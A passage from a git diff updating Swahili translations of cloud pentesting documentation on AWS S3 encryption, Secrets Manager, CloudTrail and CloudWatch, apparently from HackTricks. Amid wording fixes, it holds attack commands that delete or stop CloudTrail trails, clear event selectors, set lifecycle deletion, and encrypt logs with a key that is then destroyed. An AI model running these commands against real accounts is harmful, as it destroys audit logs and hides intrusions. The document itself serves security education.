ExpiresIn=3600 ``` ### S3 Encryption Mechanisms -**DEK inamaanisha Data Encryption Key** na ni funguo ambalo kila wakati linaundwa na kutumika kupeleka data. +**DEK inamaanisha Data Encryption Key** na ni funguo ambalo kila wakati linaundwa na kutumika kuandika data.
@@ -59,7 +59,7 @@ Chaguo hili linahitaji usanidi mdogo na usimamizi wote wa funguo za usimbaji zin - DEK iliyosimbwa + S3 Master Key --> DEK ya maandiko - DEK ya maandiko + Data iliyosimbwa --> Data ya Kitu -Tafadhali, kumbuka kwamba katika kesi hii **funguo inasimamiwa na AWS** (mzunguko kila baada ya miaka 3). Ikiwa utatumia funguo zako mwenyewe utaweza kubadilisha, kuzima na kuweka udhibiti wa ufikiaji. +Tafadhali, kumbuka kwamba katika kesi hii **funguo inasimamiwa na AWS** (mabadiliko kila baada ya miaka 3). Ikiwa utatumia funguo zako mwenyewe utaweza kubadilisha, kuzima na kuweka udhibiti wa ufikiaji.
@@ -71,11 +71,11 @@ Njia hii inaruhusu S3 kutumia huduma ya usimamizi wa funguo kuunda funguo zako z - Usimbaji: - S3 inahitaji funguo za data kutoka KMS CMK -- KMS inatumia CMK kuunda DEK ya maandiko na DEK iliyosimbwa na kuzipeleka kwa S3 -- S3 inatumia funguo ya maandiko kupeleka data, kuhifadhi data iliyosimbwa na funguo iliyosimbwa na inafuta funguo ya maandiko kutoka kwenye kumbukumbu +- KMS inatumia CMK kuunda jozi ya DEK ya maandiko na DEK iliyosimbwa na kuzipeleka kwa S3 +- S3 inatumia funguo ya maandiko kuandika data, kuhifadhi data iliyosimbwa na funguo iliyosimbwa na inafuta kutoka kwenye kumbukumbu funguo ya maandiko - Ufunguo: - S3 inaomba KMS kufungua funguo iliyosimbwa ya data ya kitu -- KMS inafungua funguo ya data kwa CMK na kuirudisha kwa S3 +- KMS inafungua funguo ya data na CMK na kuirudisha kwa S3 - S3 inafungua data ya kitu
@@ -88,7 +88,7 @@ Chaguo hili linakupa fursa ya kutoa funguo zako za msingi ambazo huenda tayari u - Usimbaji: - Mtumiaji anatumia data ya kitu + funguo ya Mteja kwenda S3 -- Funguo ya mteja inatumika kusimbwa data na data iliyosimbwa inahifadhiwa +- Funguo ya mteja inatumika kuandika data na data iliyosimbwa inahifadhiwa - thamani ya HMAC iliyo na chumvi ya funguo ya mteja pia inahifadhiwa kwa uthibitisho wa funguo wa baadaye - funguo ya mteja inafuta kutoka kwenye kumbukumbu - Ufunguo: @@ -107,8 +107,8 @@ Vivyo hivyo na SSE-KMS, hii pia inatumia huduma ya usimamizi wa funguo kuunda fu - Usimbaji: - Mteja anahitaji funguo ya data kutoka KMS - KMS inarudisha DEK ya maandiko na DEK iliyosimbwa na CMK -- Funguo zote mbili zinatumwa nyuma -- Mteja kisha anasimbwa data kwa DEK ya maandiko na kutuma kwa S3 data iliyosimbwa + DEK iliyosimbwa (ambayo inahifadhiwa kama metadata ya data iliyosimbwa ndani ya S3) +- Funguo zote zinatumwa nyuma +- Mteja kisha anasimbisha data kwa DEK ya maandiko na kutuma kwa S3 data iliyosimbwa + DEK iliyosimbwa (ambayo inahifadhiwa kama metadata ya data iliyosimbwa ndani ya S3) - Ufunguo: - Data iliyosimbwa na DEK iliyosimbwa inatumwa kwa mteja - Mteja anaomba KMS kufungua funguo iliyosimbwa kwa kutumia CMK na KMS inarudisha DEK ya maandiko @@ -120,21 +120,21 @@ Vivyo hivyo na SSE-KMS, hii pia inatumia huduma ya usimamizi wa funguo kuunda fu Client-side encryption with customer provided keys, CSE-C -Kwa kutumia mekanizimu hii, unaweza kutumia funguo zako zilizotolewa na kutumia mteja wa AWS-SDK kusimbwa data yako kabla ya kuituma kwa S3 kwa ajili ya uhifadhi. +Kwa kutumia mekanizimu hii, unaweza kutumia funguo zako zilizotolewa na kutumia mteja wa AWS-SDK kuandika data yako kabla ya kuituma kwa S3 kwa ajili ya uhifadhi. - Usimbaji: -- Mteja anaunda DEK na kusimbwa data ya maandiko -- Kisha, akitumia CMK yake ya kawaida anasimbwa DEK -- anapeleka data iliyosimbwa + DEK iliyosimbwa kwa S3 ambapo inahifadhiwa +- Mteja anaunda DEK na kuandika data ya maandiko +- Kisha, akitumia CMK yake ya kawaida anasimbisha DEK +- anawasilisha data iliyosimbwa + DEK iliyosimbwa kwa S3 ambapo inahifadhiwa - Ufunguo: - S3 inatuma data iliyosimbwa na DEK -- Kwa kuwa mteja tayari ana CMK iliyotumika kusimbwa DEK, anafungua DEK kisha anatumia DEK ya maandiko kufungua data +- Kwa kuwa mteja tayari ana CMK iliyotumika kuandika DEK, anafungua DEK kisha anatumia DEK ya maandiko kufungua data
### **Enumeration** -Moja ya njia za jadi za kukiuka mashirika ya AWS huanza kwa kukiuka ndoo zinazopatikana hadharani. **Unaweza kupata** [**waandishi wa ndoo za umma katika ukurasa huu**](../aws-unauthenticated-enum-access/#s3-buckets)**.** +Moja ya njia za jadi za kukiuka mashirika ya AWS huanza kwa kukiuka ndoo zinazopatikana kwa umma. **Unaweza kupata** [**wasambazaji wa ndoo za umma katika ukurasa huu**](../aws-unauthenticated-enum-access/#s3-buckets)**.** ```bash # Get buckets ACLs aws s3api get-bucket-acl --bucket @@ -229,9 +229,9 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### dual-stack -Unaweza kufikia S3 bucket kupitia dual-stack endpoint kwa kutumia jina la virtual hosted-style au path-style endpoint. Hizi ni muhimu kufikia S3 kupitia IPv6. +Unaweza kufikia S3 bucket kupitia endpoint ya dual-stack kwa kutumia jina la endpoint ya virtual hosted-style au path-style. Hizi ni muhimu kufikia S3 kupitia IPv6. -Dual-stack endpoints hutumia sintaksia ifuatayo: +Dual-stack endpoints hutumia sintaksifuatayo: - `bucketname.s3.dualstack.aws-region.amazonaws.com` - `s3.dualstack.aws-region.amazonaws.com/bucketname` @@ -266,19 +266,19 @@ Katika ukurasa ufuatao unaweza kuangalia jinsi ya **kudhulumu ruhusa za S3 ili k ### S3 HTTP Cache Poisoning Issue -[**Kulingana na utafiti huu**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) ilikuwa inawezekana kuhifadhi jibu la bucket yoyote kama ingekuwa ya nyingine. Hii ingeweza kudhulumiwa kubadilisha kwa mfano majibu ya faili ya javascript na kuathiri kurasa yoyote kwa kutumia S3 kuhifadhi msimbo wa statiki. +[**Kulingana na utafiti huu**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue) ilikuwa inawezekana kuhifadhi jibu la bucket yoyote kama ingekuwa ya bucket tofauti. Hii ingeweza kutumiwa kubadilisha kwa mfano majibu ya faili ya javascript na kuathiri kurasa yoyote kwa kutumia S3 kuhifadhi msimbo wa statiki. ## Amazon Athena Amazon Athena ni huduma ya uchunguzi wa mwingiliano inayofanya iwe rahisi **kuchambua data** moja kwa moja katika Amazon Simple Storage Service (Amazon **S3**) **kwa kutumia** **SQL** ya kawaida. -Unahitaji **kuandaa jedwali la DB la uhusiano** na muundo wa maudhui ambayo yatakuwa yanaonekana katika S3 buckets zinazofuatiliwa. Na kisha, Amazon Athena itakuwa na uwezo wa kujaza DB kutoka kwa logi, ili uweze kuifanya uchunguzi. +Unahitaji **kuandaa jedwali la DB la uhusiano** lenye muundo wa maudhui ambayo yatakuwa yanaonekana katika S3 buckets zinazofuatiliwa. Na kisha, Amazon Athena itakuwa na uwezo wa kujaza DB kutoka kwa logi, ili uweze kuifanya uchunguzi. Amazon Athena inasaidia **uwezo wa kuchunguza data ya S3 ambayo tayari imefungwa** na ikiwa imewekwa kufanya hivyo, **Athena pia inaweza kufunga matokeo ya uchunguzi ambayo yanaweza kuhifadhiwa katika S3**. -**Hii ufungaji wa matokeo hauitegemei data ya S3 iliyochunguzwa**, ikimaanisha kwamba hata kama data ya S3 haijafungwa, matokeo yaliyofanyiwa uchunguzi yanaweza kufungwa. Vidokezo kadhaa vya kuzingatia ni kwamba Amazon Athena inasaidia tu data ambayo ime **fungwa** kwa kutumia **mbinu za ufungaji za S3**, **SSE-S3, SSE-KMS, na CSE-KMS**. +**Hii ufungaji wa matokeo hauitegemei data ya S3 iliyochunguzwa**, ikimaanisha kwamba hata kama data ya S3 haijafungwa, matokeo yaliyofanyiwa uchunguzi yanaweza kufungwa. Vidokezo kadhaa vya kuzingatia ni kwamba Amazon Athena inasaidia tu data ambayo imefungwa kwa **mbinu zifuatazo za ufungaji wa S3**, **SSE-S3, SSE-KMS, na CSE-KMS**. -SSE-C na CSE-E hazisaidiwi. Mbali na hii, ni muhimu kuelewa kwamba Amazon Athena itafanya uchunguzi tu dhidi ya **vitu vilivyofungwa vilivyoko katika eneo moja na uchunguzi wenyewe**. Ikiwa unahitaji kuchunguza data ya S3 ambayo imefungwa kwa kutumia KMS, basi ruhusa maalum zinahitajika na mtumiaji wa Athena ili kuwapa uwezo wa kufanya uchunguzi. +SSE-C na CSE-E hazikubaliki. Mbali na hii, ni muhimu kuelewa kwamba Amazon Athena itafanya uchunguzi tu dhidi ya **vitu vilivyofungwa vilivyoko katika eneo moja na uchunguzi wenyewe**. Ikiwa unahitaji kuchunguza data ya S3 ambayo imefungwa kwa kutumia KMS, basi ruhusa maalum zinahitajika na mtumiaji wa Athena ili kuwapa uwezo wa kufanya uchunguzi. ### Enumeration ```bash @@ -302,7 +302,7 @@ aws athena get-prepared-statement --statement-name --work-group # Run query aws athena start-query-execution --query-string ``` -## Marejeleo +## Marejeo - [https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3](https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3) - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index 5a6feb6be..c06eb1b5f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -4,16 +4,16 @@ ## AWS Secrets Manager -AWS Secrets Manager imeundwa ili **kuondoa matumizi ya siri zilizowekwa kwa mkono katika programu kwa kuzibadilisha na wito wa API**. Huduma hii inafanya kazi kama **hifadhi ya kati ya siri zako zote**, kuhakikisha zinah управiwa kwa njia moja katika programu zote. +AWS Secrets Manager imeundwa ili **kuondoa matumizi ya siri zilizowekwa kwa mkono katika programu kwa kuzibadilisha na wito wa API**. Huduma hii inafanya kazi kama **hifadhi ya kati ya siri zako zote**, kuhakikisha zinatumika kwa njia moja katika programu zote. -Meneja inarahisisha **mchakato wa kubadilisha siri**, ikiboresha kwa kiasi kikubwa usalama wa data nyeti kama vile akidi za database. Zaidi ya hayo, siri kama funguo za API zinaweza kubadilishwa kiotomatiki kwa kuunganisha kazi za lambda. +Meneja inarahisisha **mchakato wa kubadilisha siri**, ikiboresha kwa kiasi kikubwa usalama wa data nyeti kama vile akidi za database. Zaidi ya hayo, siri kama funguo za API zinaweza kubadilishwa kiotomatiki kwa kuunganishwa na kazi za lambda. Upatikanaji wa siri unadhibitiwa kwa karibu kupitia sera za kina za IAM zinazotegemea utambulisho na sera za msingi wa rasilimali. -Ili kutoa upatikanaji wa siri kwa mtumiaji kutoka akaunti tofauti ya AWS, ni lazima: +Ili kutoa upatikanaji wa siri kwa mtumiaji kutoka akaunti tofauti ya AWS, ni muhimu: 1. Mruhusu mtumiaji kupata siri. -2. Mpe ruhusa mtumiaji kufungua siri kwa kutumia KMS. +2. Mpe ruhusa mtumiaji ya kufungua siri kwa kutumia KMS. 3. Badilisha sera ya Funguo ili kumruhusu mtumiaji wa nje kuitumia. **AWS Secrets Manager inajumuisha na AWS KMS ili kuficha siri zako ndani ya AWS Secrets Manager.** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md index 7ff89498c..336be3cb3 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md @@ -1 +1 @@ -# AWS - Usalama & Huduma za Ugunduzi +# AWS - Huduma za Usalama na Ugunduzi diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 89275dc57..910e2e618 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,32 +4,32 @@ ## **CloudTrail** -AWS CloudTrail **inaandika na kufuatilia shughuli ndani ya mazingira yako ya AWS**. Inakamata **kumbukumbu za matukio** za kina, ikiwa ni pamoja na nani alifanya nini, lini, na kutoka wapi, kwa mwingiliano wote na rasilimali za AWS. Hii inatoa njia ya ukaguzi wa mabadiliko na vitendo, kusaidia katika uchambuzi wa usalama, ukaguzi wa kufuata, na kufuatilia mabadiliko ya rasilimali. CloudTrail ni muhimu kwa kuelewa tabia ya mtumiaji na rasilimali, kuboresha hali za usalama, na kuhakikisha kufuata kanuni. +AWS CloudTrail **inaandika na kufuatilia shughuli ndani ya mazingira yako ya AWS**. Inakamata **kumbukumbu za matukio** za kina, ikiwa ni pamoja na nani alifanya nini, lini, na kutoka wapi, kwa mwingiliano wote na rasilimali za AWS. Hii inatoa njia ya ukaguzi wa mabadiliko na vitendo, kusaidia katika uchambuzi wa usalama, ukaguzi wa kufuata, na ufuatiliaji wa mabadiliko ya rasilimali. CloudTrail ni muhimu kwa kuelewa tabia za mtumiaji na rasilimali, kuboresha mkao wa usalama, na kuhakikisha kufuata kanuni. Kila tukio lililosajiliwa lina: -- Jina la API iliyotumika: `eventName` -- Huduma iliyotumika: `eventSource` +- Jina la API iliyoitwa: `eventName` +- Huduma iliyoitwa: `eventSource` - Wakati: `eventTime` - Anuani ya IP: `SourceIPAddress` - Njia ya wakala: `userAgent`. Mifano: - Signing.amazonaws.com - Kutoka AWS Management Console - console.amazonaws.com - Mtumiaji wa root wa akaunti - lambda.amazonaws.com - AWS Lambda -- Vigezo vya ombi: `requestParameters` +- Parameta za ombi: `requestParameters` - Vipengele vya majibu: `responseElements` Matukio yanaandikwa kwenye faili mpya ya kumbukumbu **karibu kila dakika 5 katika faili la JSON**, yanashikiliwa na CloudTrail na hatimaye, faili za kumbukumbu **zinasambazwa kwa S3 karibu dakika 15 baada**.\ -Kumbukumbu za CloudTrail zinaweza **kuunganishwa kati ya akaunti na kati ya maeneo.**\ -CloudTrail inaruhusu kutumia **uaminifu wa faili za kumbukumbu ili uweze kuthibitisha kwamba faili zako za kumbukumbu hazijabadilika** tangu CloudTrail ilipokuletea. Inaunda hash ya SHA-256 ya kumbukumbu ndani ya faili ya muhtasari. Hash ya sha-256 ya kumbukumbu mpya inaundwa kila saa.\ -Wakati wa kuunda Trail, wachaguaji wa matukio watakuruhusu kuashiria trail ya kuandika: Usimamizi, data au matukio ya maarifa. +Kumbukumbu za CloudTrail zinaweza **kuunganishwa kati ya akaunti na kati ya mikoa.**\ +CloudTrail inaruhusu kutumia **uaminifu wa faili za kumbukumbu ili uweze kuthibitisha kwamba faili zako za kumbukumbu hazijabadilika** tangu CloudTrail ilipokuletea. Inaunda hash ya SHA-256 ya kumbukumbu ndani ya faili ya digest. Hash ya sha-256 ya kumbukumbu mpya inaundwa kila saa.\ +Wakati wa kuunda Trail, wachaguzi wa matukio watakuruhusu kuashiria trail ya kuandika: Usimamizi, data au matukio ya maarifa. Kumbukumbu zinaokolewa katika bakuli la S3. Kwa kawaida, Usimbaji wa Kando wa Server unatumika (SSE-S3) hivyo AWS itachambua yaliyomo kwa watu walio na ufikiaji, lakini kwa usalama wa ziada unaweza kutumia SSE na KMS na funguo zako mwenyewe. Kumbukumbu zinahifadhiwa katika **bakuli la S3 lenye muundo huu wa jina**: - **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`** -- Jina la Bakuli: **`aws-cloudtrail-logs--`** +- Ikiwa ni BucketName: **`aws-cloudtrail-logs--`** - Mfano: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** Ndani ya kila folda, kila kumbukumbu itakuwa na **jina linalofuata muundo huu**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** @@ -38,20 +38,20 @@ Mkataba wa Kutoa Jina la Faili za Kumbukumbu ![](<../../../../images/image (122).png>) -Zaidi ya hayo, **faili za muhtasari (kuangalia uaminifu wa faili)** zitakuwa ndani ya **bakuli moja** katika: +Zaidi ya hayo, **faili za digest (kuangalia uaminifu wa faili)** zitakuwa ndani ya **bakuli moja** katika: ![](<../../../../images/image (195).png>) -### Kuunganisha Kumbukumbu kutoka Akaunti Nyingi +### Kuunganisha Kumbukumbu kutoka Akaunti Mbalimbali - Unda Trail katika akaunti ya AWS ambapo unataka faili za kumbukumbu zipelekwe -- Weka ruhusa kwa bakuli la S3 la marudio kuruhusu ufikiaji wa akaunti tofauti kwa CloudTrail na ruhusu kila akaunti ya AWS inayohitaji ufikiaji +- Weka ruhusa kwa bakuli la S3 la marudio linaloruhusu ufikiaji wa akaunti tofauti kwa CloudTrail na ruhusu kila akaunti ya AWS inayohitaji ufikiaji - Unda Trail mpya katika akaunti nyingine za AWS na chagua kutumia bakuli iliyoundwa katika hatua ya 1 Hata hivyo, hata kama unaweza kuhifadhi kumbukumbu zote katika bakuli moja ya S3, huwezi kuunganisha kumbukumbu za CloudTrail kutoka akaunti nyingi katika Kumbukumbu za CloudWatch zinazomilikiwa na akaunti moja ya AWS. > [!CAUTION] -> Kumbuka kwamba akaunti inaweza kuwa na **Trails tofauti** kutoka CloudTrail **iliyowezeshwa** ikihifadhi kumbukumbu sawa (au tofauti) katika bakuli tofauti. +> Kumbuka kwamba akaunti inaweza kuwa na **Trails tofauti** kutoka CloudTrail **zilizowekwa** zikihifadhi kumbukumbu sawa (au tofauti) katika bakuli tofauti. ### Cloudtrail kutoka akaunti zote za org katika 1 @@ -59,7 +59,7 @@ Wakati wa kuunda CloudTrail, inawezekana kuashiria kuanzisha cloudtrail kwa akau
-Kwa njia hii unaweza kwa urahisi kuunda CloudTrail katika maeneo yote ya akaunti zote na kuunganisha kumbukumbu katika akaunti 1 (ambayo unapaswa kulinda). +Kwa njia hii unaweza kwa urahisi kuunda CloudTrail katika mikoa yote ya akaunti zote na kuunganisha kumbukumbu katika akaunti 1 (ambayo unapaswa kulinda). ### Kuangalia Faili za Kumbukumbu @@ -69,37 +69,37 @@ aws cloudtrail validate-logs --trail-arn --start-time [- ``` ### Logs to CloudWatch -**CloudTrail inaweza kutuma logi moja kwa moja kwa CloudWatch ili uweze kuweka arifa zinazokujulisha unapofanya shughuli za kushangaza.**\ -Kumbuka kwamba ili kuruhusu CloudTrail kutuma logi kwa CloudWatch, **jukumu** linahitaji kuundwa ambalo linaruhusu kitendo hicho. Ikiwezekana, inapendekezwa kutumia jukumu la AWS la kawaida kufanya vitendo hivi. Jukumu hili litaruhusu CloudTrail: +**CloudTrail inaweza kutuma moja kwa moja logi kwa CloudWatch ili uweze kuweka arifa zinazokujulisha unapofanya shughuli za kutatanisha.**\ +Kumbuka kwamba ili kuruhusu CloudTrail kutuma logi kwa CloudWatch, **role** inahitaji kuundwa inayoruhusu kitendo hicho. Ikiwezekana, inapendekezwa kutumia role ya AWS ya kawaida kufanya vitendo hivi. Role hii itaruhusu CloudTrail: -- CreateLogStream: Hii inaruhusu kuunda mtiririko wa logi za CloudWatch -- PutLogEvents: Toa logi za CloudTrail kwa mtiririko wa logi za CloudWatch +- CreateLogStream: Hii inaruhusu kuunda CloudWatch Logs log streams +- PutLogEvents: Toa logi za CloudTrail kwa CloudWatch Logs log stream ### Event History -Historia ya Matukio ya CloudTrail inakuruhusu kukagua katika jedwali logi ambazo zimeandikwa: +CloudTrail Event History inakuruhusu kukagua katika jedwali logi ambazo zimeandikwa: ![](<../../../../images/image (89).png>) ### Insights -**CloudTrail Insights** moja kwa moja **inafanya uchambuzi** wa matukio ya usimamizi wa kuandika kutoka kwa CloudTrail trails na **inakujulisha** kuhusu **shughuli zisizo za kawaida**. Kwa mfano, ikiwa kuna ongezeko la matukio ya `TerminateInstance` ambayo yanatofautiana na viwango vilivyowekwa, utaona kama tukio la Insight. Matukio haya yanafanya **kupata na kujibu shughuli zisizo za kawaida za API kuwa rahisi** kuliko hapo awali. +**CloudTrail Insights** moja kwa moja **inafanya uchambuzi** wa matukio ya usimamizi wa kuandika kutoka kwa CloudTrail trails na **inakujulisha** kuhusu **shughuli zisizo za kawaida**. Kwa mfano, ikiwa kuna ongezeko la matukio ya `TerminateInstance` yanayotofautiana na viwango vilivyowekwa, utaona kama tukio la Insight. Matukio haya yanafanya **kugundua na kujibu shughuli zisizo za kawaida za API kuwa rahisi** kuliko hapo awali. -Insights zinahifadhiwa katika ndoo ile ile kama logi za CloudTrail katika: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` +Insights zinahifadhiwa katika bucket sawa na logi za CloudTrail katika: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### Security | CloudTrail Log File Integrity |
  • Thibitisha ikiwa logi zimeingiliwa (kubadilishwa au kufutwa)
  • Tumia faili za digest (unda hash kwa kila faili)

    • SHA-256 hashing
    • SHA-256 na RSA kwa saini ya kidijitali
    • funguo ya faragha inayomilikiwa na Amazon
  • Inachukua saa 1 kuunda faili ya digest (kufanywa kila saa)
| | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Stop unauthorized access |
  • Tumia sera za IAM na sera za ndoo za S3

    • timu ya usalama —> ufikiaji wa admin
    • waakifanyia —> ufikiaji wa kusoma tu
  • Tumia SSE-S3/SSE-KMS kupeleka logi
| -| Prevent log files from being deleted |
  • Zuia ufikiaji wa kufuta kwa kutumia sera za IAM na ndoo
  • Sanidi S3 MFA delete
  • Thibitisha kwa Log File Validation
| +| Stop unauthorized access |
  • Tumia sera za IAM na sera za S3 bucket

    • timu ya usalama —> ufikiaji wa admin
    • waakifanyia —> ufikiaji wa kusoma tu
  • Tumia SSE-S3/SSE-KMS kuandika logi
| +| Prevent log files from being deleted |
  • Zuia ufikiaji wa kufuta kwa kutumia sera za IAM na bucket
  • Sanidi S3 MFA delete
  • Thibitisha kwa Log File Validation
| ## Access Advisor -AWS Access Advisor inategemea siku 400 za mwisho za logi za AWS **CloudTrail ili kukusanya maarifa yake**. CloudTrail inakamata historia ya wito wa API za AWS na matukio yanayohusiana yaliyofanywa katika akaunti ya AWS. Access Advisor inatumia data hii kuonyesha **wakati huduma zilipofikiwa kwa mara ya mwisho**. Kwa kuchambua logi za CloudTrail, Access Advisor inaweza kubaini ni huduma zipi za AWS ambazo mtumiaji wa IAM au jukumu limefikiwa na wakati ufikiaji huo ulifanyika. Hii inasaidia wasimamizi wa AWS kufanya maamuzi sahihi kuhusu **kuboresha ruhusa**, kwani wanaweza kubaini huduma ambazo hazijafikiwa kwa muda mrefu na huenda kupunguza ruhusa pana kupita kiasi kulingana na mifumo halisi ya matumizi. +AWS Access Advisor inategemea siku 400 za mwisho za logi za AWS **CloudTrail ili kukusanya maarifa yake**. CloudTrail inakamata historia ya wito wa API za AWS na matukio yanayohusiana yaliyofanywa katika akaunti ya AWS. Access Advisor inatumia data hii kuonyesha **wakati huduma zilipofikiwa kwa mara ya mwisho**. Kwa kuchambua logi za CloudTrail, Access Advisor inaweza kubaini ni huduma zipi za AWS ambazo mtumiaji wa IAM au role amefikia na wakati ufikiaji huo ulifanyika. Hii inasaidia wasimamizi wa AWS kufanya maamuzi sahihi kuhusu **kuboresha ruhusa**, kwani wanaweza kubaini huduma ambazo hazijafikiwa kwa muda mrefu na kwa hivyo kupunguza ruhusa zisizo na mipaka kulingana na mifumo halisi ya matumizi. > [!TIP] -> Hivyo, Access Advisor inatoa taarifa kuhusu **ruhusa zisizohitajika zinazotolewa kwa watumiaji** ili admin aweze kuziondoa +> Kwa hivyo, Access Advisor inatoa taarifa kuhusu **ruhusa zisizo za lazima zinazotolewa kwa watumiaji** ili admin aweze kuziondoa
@@ -124,7 +124,7 @@ aws cloudtrail get-query-results --event-data-store --query-id ) > [!CAUTION] -> Kumbuka kwamba APIs zote za umma zilizogundulika kutokuwa na log za CloudTrail sasa zimerekebishwa, hivyo labda unahitaji kutafuta zako mwenyewe... +> Kumbuka kwamba APIs zote za umma zilizogundulika kutokuwa na logi za CloudTrail sasa zimerekebishwa, hivyo huenda unahitaji kutafuta zako mwenyewe... > -> Kwa maelezo zaidi angalia [**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). +> Kwa maelezo zaidi angalia [**utafiti wa asili**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). ### Kufikia Miundombinu ya Tatu -Huduma fulani za AWS zitaunda **miundombinu fulani** kama vile **Databases** au **Kubernetes** clusters (EKS). Mtumiaji **akizungumza moja kwa moja na huduma hizo** (kama API ya Kubernetes) **hataitumia AWS API**, hivyo CloudTrail haitakuwa na uwezo wa kuona mawasiliano haya. +Huduma fulani za AWS zita **unda miundombinu fulani** kama vile **Maktaba** au **vikundi vya Kubernetes** (EKS). Mtumiaji **akizungumza moja kwa moja na huduma hizo** (kama API ya Kubernetes) **hataitumia API ya AWS**, hivyo CloudTrail haitakuwa na uwezo wa kuona mawasiliano haya. -Hivyo, mtumiaji mwenye ufikiaji wa EKS ambaye amegundua URL ya API ya EKS anaweza kuunda token kwa ndani na **kuzungumza na huduma ya API moja kwa moja bila kugunduliwa na Cloudtrail**. +Kwa hivyo, mtumiaji mwenye ufikiaji wa EKS ambaye amegundua URL ya API ya EKS anaweza kuunda token kwa ndani na **kuzungumza na huduma ya API moja kwa moja bila kugunduliwa na Cloudtrail**. Maelezo zaidi katika: @@ -216,7 +216,7 @@ Maelezo zaidi katika: ### Kubadilisha Mipangilio ya CloudTrail -#### Futa trails +#### Futa nyayo ```bash aws cloudtrail delete-trail --name [trail-name] ``` @@ -224,7 +224,7 @@ aws cloudtrail delete-trail --name [trail-name] ```bash aws cloudtrail stop-logging --name [trail-name] ``` -#### Zima usajili wa mikoa mingi +#### Zima logging ya mikoa mingi ```bash aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services ``` @@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` -Katika mfano wa kwanza, mteule wa tukio mmoja unapatikana kama array ya JSON yenye kitu kimoja. `"ReadWriteType": "ReadOnly"` inaonyesha kwamba **mteule wa tukio unapaswa kunasa matukio ya kusoma tu** (hivyo maarifa ya CloudTrail **hayataangalia** matukio ya kuandika kwa mfano). +Katika mfano wa kwanza, mteule wa tukio moja unapatikana kama array ya JSON yenye kitu kimoja. `"ReadWriteType": "ReadOnly"` inaonyesha kwamba **mteule wa tukio unapaswa kunasa matukio ya kusoma tu** (hivyo maarifa ya CloudTrail **hayataangalia** matukio ya kuandika kwa mfano). Unaweza kubinafsisha mteule wa tukio kulingana na mahitaji yako maalum. @@ -246,23 +246,23 @@ aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration ``` ### Kubadilisha Mipangilio ya Bucket -- Futa S3 bucket +- Futa bucket ya S3 - Badilisha sera ya bucket kukataa maandiko yoyote kutoka kwa huduma ya CloudTrail -- Ongeza sera ya mzunguko kwa S3 bucket kufuta vitu -- Zima ufunguo wa kms unaotumika kuandika kumbukumbu za CloudTrail +- Ongeza sera ya maisha kwa bucket ya S3 kufuta vitu +- Zima funguo ya kms inayotumika kuandika kumbukumbu za CloudTrail -### Cloudtrail ransomware +### Ransomware ya Cloudtrail -#### S3 ransomware +#### Ransomware ya S3 -Unaweza **kuunda ufunguo wa asimetriki** na kufanya **CloudTrail kuandika data** kwa ufunguo huo na **kufuta ufunguo wa kibinafsi** ili maudhui ya CloudTrail hayawezi kurejeshwa.\ -Hii ni kimsingi **S3-KMS ransomware** iliyoelezwa katika: +Unaweza **kuunda funguo isiyo ya kawaida** na kufanya **CloudTrail kuandika data** kwa funguo hiyo na **kufuta funguo ya faragha** ili maudhui ya CloudTrail hayawezi kurejeshwa.\ +Hii ni kimsingi **ransomware ya S3-KMS** iliyoelezwa katika: {{#ref}} ../../aws-post-exploitation/aws-s3-post-exploitation.md {{#endref}} -**KMS ransomware** +**Ransomware ya KMS** Hii ni njia rahisi zaidi ya kutekeleza shambulio la awali na mahitaji tofauti ya ruhusa: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 964983e58..c54d44948 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -4,7 +4,7 @@ ## CloudWatch -**CloudWatch** **inakusanya** ufuatiliaji na **data** za operesheni katika mfumo wa logs/metrics/events ikitoa **mtazamo wa pamoja wa rasilimali za AWS**, programu na huduma.\ +**CloudWatch** **inakusanya** data za ufuatiliaji na operesheni 